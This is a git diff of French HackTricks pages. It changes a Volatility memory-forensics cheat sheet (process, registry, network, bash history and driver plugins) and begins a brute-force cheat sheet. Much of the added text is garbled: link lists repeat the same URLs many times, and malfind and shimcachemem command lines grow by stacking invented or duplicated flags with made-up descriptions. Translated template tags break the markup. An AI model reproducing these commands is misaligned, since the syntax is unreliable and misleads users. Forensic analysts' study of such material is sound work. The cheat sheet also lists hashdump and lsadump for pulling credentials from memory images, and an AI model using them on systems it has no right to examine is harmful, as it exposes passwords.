anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ``` @@ -9292,223 +1111,92 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan ### Bash -Il est possible de **lire depuis la mémoire l'historique de bash**. Vous pouvez également extraire le fichier _.bash\_history_, mais s'il est désactivé, vous serez heureux de pouvoir utiliser ce module de Volatility. +Il est possible de **lire l'historique de bash en mémoire.** Vous pourriez également extraire le fichier _.bash\_history_, mais s'il est désactivé, vous serez heureux de pouvoir utiliser ce module de volatilité ``` ./vol.py -f file.dmp linux.bash.Bash ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility +{% tab title="vol2" %} -## Commandes de base +### Feuille de triche Volatility -### Analyse de l'image mémoire +#### Commandes de base -```bash -volatility -f imageinfo -``` +- **volatility -f dump.mem imageinfo** : Informations sur l'image mémoire +- **volatility -f dump.mem pslist** : Liste des processus en cours d'exécution +- **volatility -f dump.mem pstree** : Arborescence des processus +- **volatility -f dump.mem psscan** : Analyse des processus +- **volatility -f dump.mem dlllist -p PID** : Liste des DLL chargées par un processus +- **volatility -f dump.mem filescan** : Analyse des fichiers ouverts +- **volatility -f dump.mem cmdscan** : Analyse des commandes exécutées +- **volatility -f dump.mem connections** : Liste des connexions réseau +- **volatility -f dump.mem netscan** : Analyse des connexions réseau +- **volatility -f dump.mem malfind** : Recherche de code malveillant dans les processus +- **volatility -f dump.mem yarascan** : Analyse avec Yara +- **volatility -f dump.mem dumpfiles -Q 0xADDRESS -D /path/to/dump/** : Extraction de fichiers à partir de l'adresse mémoire spécifiée +- **volatility -f dump.mem cmdline -p PID** : Affichage de la ligne de commande d'un processus +- **volatility -f dump.mem consoles** : Liste des consoles interactives +- **volatility -f dump.mem hivelist** : Liste des hives de registre +- **volatility -f dump.mem printkey -o OFFSET** : Affichage du contenu d'une clé de registre +- **volatility -f dump.mem userassist** : Analyse des éléments UserAssist +- **volatility -f dump.mem shimcache** : Analyse du cache de compatibilité des applications +- **volatility -f dump.mem ldrmodules** : Liste des modules chargés +- **volatility -f dump.mem modscan** : Analyse des modules +- **volatility -f dump.mem getsids** : Affichage des SID des processus +- **volatility -f dump.mem getservicesids** : Affichage des SID des services +- **volatility -f dump.mem svcscan** : Analyse des services +- **volatility -f dump.mem driverirp** : Analyse des pilotes et des IRP +- **volatility -f dump.mem callbacks** : Analyse des callbacks +- **volatility -f dump.mem mutantscan** : Analyse des mutants +- **volatility -f dump.mem envars** : Affichage des variables d'environnement +- **volatility -f dump.mem atomscan** : Analyse des atom tables +- **volatility -f dump.mem deskscan** : Analyse des objets de bureau +- **volatility -f dump.mem hivescan** : Analyse des hives de registre +- **volatility -f dump.mem userhandles** : Analyse des handles utilisateur +- **volatility -f dump.mem vadinfo -p PID** : Informations sur les zones d'allocation virtuelle d'un processus +- **volatility -f dump.mem vadtree -p PID** : Arborescence des zones d'allocation virtuelle d'un processus +- **volatility -f dump.mem vadwalk -p PID -A StartAddress** : Parcours des zones d'allocation virtuelle à partir d'une adresse spécifique +- **volatility -f dump.mem dlldump -p PID -D /path/to/dump/** : Extraction d'une DLL à partir de l'espace mémoire d'un processus +- **volatility -f dump.mem memmap** : Cartographie de la mémoire physique +- **volatility -f dump.mem memdump -p PID -D /path/to/dump/** : Extraction de l'espace mémoire d'un processus +- **volatility -f dump.mem memstrings -p PID** : Recherche de chaînes dans l'espace mémoire d'un processus +- **volatility -f dump.mem malfind** : Recherche de code malveillant dans les processus +- **volatility -f dump.mem malfind -p PID** : Recherche de code malveillant dans un processus spécifique +- **volatility -f dump.mem malfind -D /path/to/dump/** : Recherche de code malveillant dans tous les processus +- **volatility -f dump.mem malfind -p PID -D /path/to/dump/** : Recherche de code malveillant dans un processus spécifique et extraction des fichiers +- **volatility -f dump.mem malfind -D /path/to/dump/ --profile=PROFILE** : Recherche de code malveillant en spécifiant un profil +- **volatility -f dump.mem malfind --output=html -D /path/to/dump/** : Générer un rapport HTML de l'analyse de code malveillant +- **volatility -f dump.mem malfind --output=json -D /path/to/dump/** : Générer un rapport JSON de l'analyse de code malveillant +- **volatility -f dump.mem malfind --output=body -D /path/to/dump/** : Générer un rapport texte de l'analyse de code malveillant +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt -D /path/to/dump/** : Enregistrer le rapport texte de l'analyse de code malveillant dans un fichier spécifié +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/** : Enregistrer le rapport texte de l'analyse de code malveillant en spécifiant un profil +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware** : Enregistrer le rapport texte de l'analyse de code malveillant en spécifiant un profil et un nom de fichier +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware --dump-dir=/path/to/dump_dir/** : Enregistrer le rapport texte de l'analyse de code malveillant en spécifiant un profil, un nom de fichier et un répertoire d'extraction +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware --dump-dir=/path/to/dump_dir/ --dump** : Extraire les fichiers malveillants identifiés +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/** : Extraire les fichiers malveillants identifiés dans un répertoire spécifié +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/ --dump** : Extraire les fichiers malveillants identifiés dans un répertoire spécifié et les enregistrer dans un répertoire d'extraction +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/ --dump --dump-dir=/path/to/dump_dir3/** : Extraire les fichiers malveillants identifiés dans plusieurs répertoires spécifiés +- **volatility -f dump.mem malfind --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=malware --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/ --dump --dump-dir=/path/to/dump_dir3/ --dump** : Extraire les fichiers malveillants identifiés dans plusieurs répertoires spécifiés et les enregistrer dans un répertoire d'extraction -```bash -volatility -f kdbgscan -``` +#### Plugins supplémentaires -```bash -volatility -f kpcrscan -``` +- **volatility -f dump.mem shimcachemem** : Analyse du cache de compatibilité des applications en mémoire +- **volatility -f dump.mem shimcachemem -D /path/to/dump/** : Extraction du cache de compatibilité des applications en mémoire +- **volatility -f dump.mem shimcachemem --output=html -D /path/to/dump/** : Générer un rapport HTML de l'analyse du cache de compatibilité des applications en mémoire +- **volatility -f dump.mem shimcachemem --output=json -D /path/to/dump/** : Générer un rapport JSON de l'analyse du cache de compatibilité des applications en mémoire +- **volatility -f dump.mem shimcachemem --output=body -D /path/to/dump/** : Générer un rapport texte de l'analyse du cache de compatibilité des applications en mémoire +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt -D /path/to/dump/** : Enregistrer le rapport texte de l'analyse du cache de compatibilité des applications en mémoire dans un fichier spécifié +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/** : Enregistrer le rapport texte de l'analyse du cache de compatibilité des applications en mémoire en spécifiant un profil +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache** : Enregistrer le rapport texte de l'analyse du cache de compatibilité des applications en mémoire en spécifiant un profil et un nom de fichier +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache --dump-dir=/path/to/dump_dir/** : Enregistrer le rapport texte de l'analyse du cache de compatibilité des applications en mémoire en spécifiant un profil, un nom de fichier et un répertoire d'extraction +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache --dump-dir=/path/to/dump_dir/ --dump** : Extraire les fichiers du cache de compatibilité des applications identifiés en mémoire +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/** : Extraire les fichiers du cache de compatibilité des applications identifiés en mémoire dans un répertoire spécifié +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/ --dump** : Extraire les fichiers du cache de compatibilité des applications identifiés en mémoire dans un répertoire spécifié et les enregistrer dans un répertoire d'extraction +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/ --dump --dump-dir=/path/to/dump_dir3/** : Extraire les fichiers du cache de compatibilité des applications identifiés en mémoire dans plusieurs répertoires spécifiés +- **volatility -f dump.mem shimcachemem --output=body --output-file=/path/to/output.txt --profile=PROFILE -D /path/to/dump/ --name=shimcache --dump-dir=/path/to/dump_dir/ --dump --dump-dir=/path/to/dump_dir2/ --dump --dump-dir=/path/to/dump_dir3/ --dump** : Extraire les fichiers du cache de compatibilité des applications identifiés en mémoire dans plusieurs répertoires spécifiés et les enregistrer dans un répertoire d'extraction -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) +{% endtab %} ``` volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash ``` @@ -9516,907 +1204,31 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash {% endtabs %} ### Chronologie + +{% tabs %} +{% tab title="vol3" %} ```bash ./vol.py -f file.dmp timeLiner.TimeLiner ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f hivelist -``` - -```bash -volatility -f hashdump -s -y -s -y -``` - -```bash -volatility -f userassist -``` - -```bash -volatility -f getsids -``` - -```bash -volatility -f printkey -K -``` - -### Analyse des fichiers - -```bash -volatility -f filescan -``` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -## Plugins - -### Plugin `malfind` - -```bash -volatility -f malfind -``` - -```bash -volatility -f malfind --dump-dir -``` - -### Plugin `yarascan` - -```bash -volatility -f yarascan -Y -``` - -```bash -volatility -f yarascan -Y --dump-dir -``` - -### Plugin `dumpregistry` - -```bash -volatility -f dumpregistry -o -D -``` - -### Plugin `dumpfiles` - -```bash -volatility -f dumpfiles -Q -``` - -```bash -volatility -f dumpfiles -Q --dump-dir -``` - -### Plugin `moddump` - -```bash -volatility -f moddump -D -m -``` - -### Plugin `procdump` - -```bash -volatility -f procdump -p -D -``` - -### Plugin `memdump` - -```bash -volatility -f memdump -p -D -``` - -### Plugin `apihooks` - -```bash -volatility -f apihooks -p -``` - -### Plugin `ldrmodules` - -```bash -volatility -f ldrmodules -p -``` - -### Plugin `handles` - -```bash -volatility -f handles -p -``` - -### Plugin `cmdscan` - -```bash -volatility -f cmdscan -p -``` - -### Plugin `hashdump` - -```bash -volatility -f hashdump -s -y -s -y -``` - -### Plugin `printkey` - -```bash -volatility -f printkey -K -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) -- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) -- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) -- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/aim4r/Volatility-Plugins) (en anglais) -- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +{% onglet title="vol2" %} ``` volatility --profile=Win7SP1x86_23418 -f timeliner ``` {% endtab %} -{% tab title="vol3" %} +{% endtabs %} ### Pilotes -{% endtab %} -{% endtabs %} +{% tabs %} +{% tab title="vol3" %} ``` ./vol.py -f file.dmp windows.driverscan.DriverScan ``` {% endtab %} -{% tab title="volatility-cheatsheet.md" %} -# Feuille de triche Volatility - -## Commandes de base - -### Analyse de l'image mémoire - -```bash -volatility -f imageinfo -``` - -```bash -volatility -f kdbgscan -``` - -```bash -volatility -f kpcrscan -``` - -```bash -volatility -f pslist -``` - -```bash -volatility -f psscan -``` - -```bash -volatility -f pstree -``` - -```bash -volatility -f dlllist -``` - -```bash -volatility -f handles -``` - -```bash -volatility -f filescan -``` - -```bash -volatility -f netscan -``` - -### Analyse des processus - -```bash -volatility -f procdump -p -D -``` - -```bash -volatility -f memdump -p -D -``` - -```bash -volatility -f malfind -p -D -``` - -```bash -volatility -f apihooks -p -``` - -```bash -volatility -f ldrmodules -p -``` - -```bash -volatility -f handles -p -``` - -```bash -volatility -f cmdscan -p -``` - -### Analyse des connexions réseau - -```bash -volatility -f connscan -``` - -```bash -volatility -f connscan -s -``` - -```bash -volatility -f sockets -``` - -```bash -volatility -f sockscan -``` - -### Analyse des utilisateurs - -```bash -volatility -f getsids -``` - -```bash -volatility -f getsids -U -``` - -```bash -volatility -f getsids -u -``` - -```bash -volatility -f getsids -p -``` - -```bash -volatility -f envars -p -``` - -### Analyse des fichiers - -```bash -volatility -f filescan | grep -i -``` - -```bash -volatility -f dumpfiles -Q -D -``` - -```bash -volatility -f dumpfiles -Q -D --name -``` - -```bash -volatility -f dumpfiles -Q -D --dump-dir -``` - -### Analyse des registres - -```bash -volatility -f hivelist -``` - -```bash -volatility -f printkey -K -``` - -```bash -volatility -f printkey -o -``` - -```bash -volatility -f hashdump -y -s -h -S -``` - -### Analyse des vulnérabilités - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -```bash -volatility -f malfind --dump-dir | grep -i -``` - -## Plugins - -### apihooks - -```bash -volatility -f apihooks -p -``` - -### atomscan - -```bash -volatility -f atomscan -``` - -### autoruns - -```bash -volatility -f autoruns -``` - -### bigpools - -```bash -volatility -f bigpools -``` - -### bioskbd - -```bash -volatility -f bioskbd -``` - -### callbacks - -```bash -volatility -f callbacks -``` - -### clipboard - -```bash -volatility -f clipboard -``` - -### cmdscan - -```bash -volatility -f cmdscan -``` - -### connections - -```bash -volatility -f connections -``` - -### connscan - -```bash -volatility -f connscan -``` - -### crashinfo - -```bash -volatility -f crashinfo -``` - -### deskscan - -```bash -volatility -f deskscan -``` - -### devicetree - -```bash -volatility -f devicetree -``` - -### dlldump - -```bash -volatility -f dlldump -p -D -``` - -### dlllist - -```bash -volatility -f dlllist -``` - -### driverirp - -```bash -volatility -f driverirp -``` - -### driverscan - -```bash -volatility -f driverscan -``` - -### dumpcerts - -```bash -volatility -f dumpcerts -``` - -### dumpfiles - -```bash -volatility -f dumpfiles -Q -D -``` - -### envars - -```bash -volatility -f envars -p -``` - -### evtlogs - -```bash -volatility -f evtlogs -``` - -### filescan - -```bash -volatility -f filescan -``` - -### gahti - -```bash -volatility -f gahti -``` - -### getsids - -```bash -volatility -f getsids -``` - -### handles - -```bash -volatility -f handles -``` - -### hashdump - -```bash -volatility -f hashdump -y -s -h -S -``` - -### hibinfo - -```bash -volatility -f hibinfo -``` - -### hivelist - -```bash -volatility -f hivelist -``` - -### hivescan - -```bash -volatility -f hivescan -``` - -### hpakextract - -```bash -volatility -f hpakextract -O -p -``` - -### iehistory - -```bash -volatility -f iehistory -``` - -### imagecopy - -```bash -volatility -f imagecopy -O -p -``` - -### imageinfo - -```bash -volatility -f imageinfo -``` - -### impscan - -```bash -volatility -f impscan -``` - -### kdbgscan - -```bash -volatility -f kdbgscan -``` - -### kpcrscan - -```bash -volatility -f kpcrscan -``` - -### kthreadscan - -```bash -volatility -f kthreadscan -``` - -### ldrmodules - -```bash -volatility -f ldrmodules -p -``` - -### lsadump - -```bash -volatility -f lsadump -s -d -p -``` - -### malfind - -```bash -volatility -f malfind -D -``` - -### memdump - -```bash -volatility -f memdump -p -D -``` - -### messagehooks - -```bash -volatility -f messagehooks -``` - -### moddump - -```bash -volatility -f moddump -p -D -``` - -### modscan - -```bash -volatility -f modscan -``` - -### mutantscan - -```bash -volatility -f mutantscan -``` - -### netscan - -```bash -volatility -f netscan -``` - -### notepad - -```bash -volatility -f notepad -``` - -### poolscanner - -```bash -volatility -f poolscanner -``` - -### printkey - -```bash -volatility -f printkey -K -``` - -### privs - -```bash -volatility -f privs -``` - -### procdump - -```bash -volatility -f procdump -p -D -``` - -### pslist - -```bash -volatility -f pslist -``` - -### psscan - -```bash -volatility -f psscan -``` - -### pstree - -```bash -volatility -f pstree -``` - -### regdiff - -```bash -volatility -f regdiff -K -O -``` - -### screenshot - -```bash -volatility -f screenshot -p -D -``` - -### shellbags - -```bash -volatility -f shellbags -``` - -### shimcache - -```bash -volatility -f shimcache -``` - -### sockets - -```bash -volatility -f sockets -``` - -### sockscan - -```bash -volatility -f sockscan -``` - -### ssdt - -```bash -volatility -f ssdt -``` - -### strings - -```bash -volatility -f strings -s -e -n -``` - -### svcscan - -```bash -volatility -f svcscan -``` - -### thrdscan - -```bash -volatility -f thrdscan -``` - -### timers - -```bash -volatility -f timers -``` - -### userassist - -```bash -volatility -f userassist -``` - -### vadinfo - -```bash -volatility -f vadinfo -p -``` - -### vadtree - -```bash -volatility -f vadtree -p -``` - -### verinfo - -```bash -volatility -f verinfo -``` - -### windows - -```bash -volatility -f windows -``` - -### wndscan - -```bash -volatility -f wndscan -``` - -### yarascan - -```bash -volatility -f yarascan -Y -``` - -## Ressources - -- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) -- [Volatility Labs](https://volatility-labs.blogspot.com/) -- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) -- [Volatility Cheat Sheet](https://www.sans.org/blog/volatility-cheat-sheet-2-0/) -- [Volatility Cheat Sheet 2.0](https://www.sans.org/blog/volatility-cheat-sheet-2-0/) +{% onglet title="vol2" %} ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan ``` @@ -10428,7 +1240,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` -### Obtenir l'historique d'Internet Explorer +### Obtenir l'historique d'IE ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp @@ -10444,11 +1256,29 @@ volatility --profile=Win7SP1x86_23418 notepad -f file.dmp volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` ### Master Boot Record (MBR) - -### Enregistrement de démarrage principal (MBR) ``` volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp ``` -Le MBR contient des informations sur la façon dont les partitions logiques, contenant des systèmes de fichiers, sont organisées sur ce support. Le MBR contient également un code exécutable pour fonctionner en tant que chargeur pour le système d'exploitation installé - généralement en passant le contrôle au deuxième étage du chargeur, ou en conjonction avec le volume boot record (VBR) de chaque partition. Ce code MBR est généralement appelé chargeur de démarrage. À partir d'ici. +Le MBR contient les informations sur la façon dont les partitions logiques, contenant [les systèmes de fichiers](https://fr.wikipedia.org/wiki/Syst%C3%A8me_de_fichiers), sont organisées sur ce support. Le MBR contient également un code exécutable pour fonctionner en tant que chargeur pour le système d'exploitation installé, généralement en passant le contrôle au [deuxième étage](https://fr.wikipedia.org/wiki/Chargeur_d%C3%A9tape_deux) du chargeur, ou en conjonction avec le [registre d'amorçage de volume](https://fr.wikipedia.org/wiki/Registre_d%27amor%C3%A7age_de_volume) (VBR) de chaque partition. Ce code MBR est généralement appelé un [chargeur d'amorçage](https://fr.wikipedia.org/wiki/Chargeur_d%27amor%C3%A7age). De [ici](https://fr.wikipedia.org/wiki/Enregistrement_de_d%C3%A9marrage_principal). -RootedCON est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. +​ + +
+ +[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. + +{% embed url="https://www.rootedcon.com/" %} + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! + +Autres façons de soutenir HackTricks: + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 3b3e8b4dd..d4731b5d9 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,30 +1,30 @@ -# Brute Force - CheatSheet +# Brute Force - Fiche de triche
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui à : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! 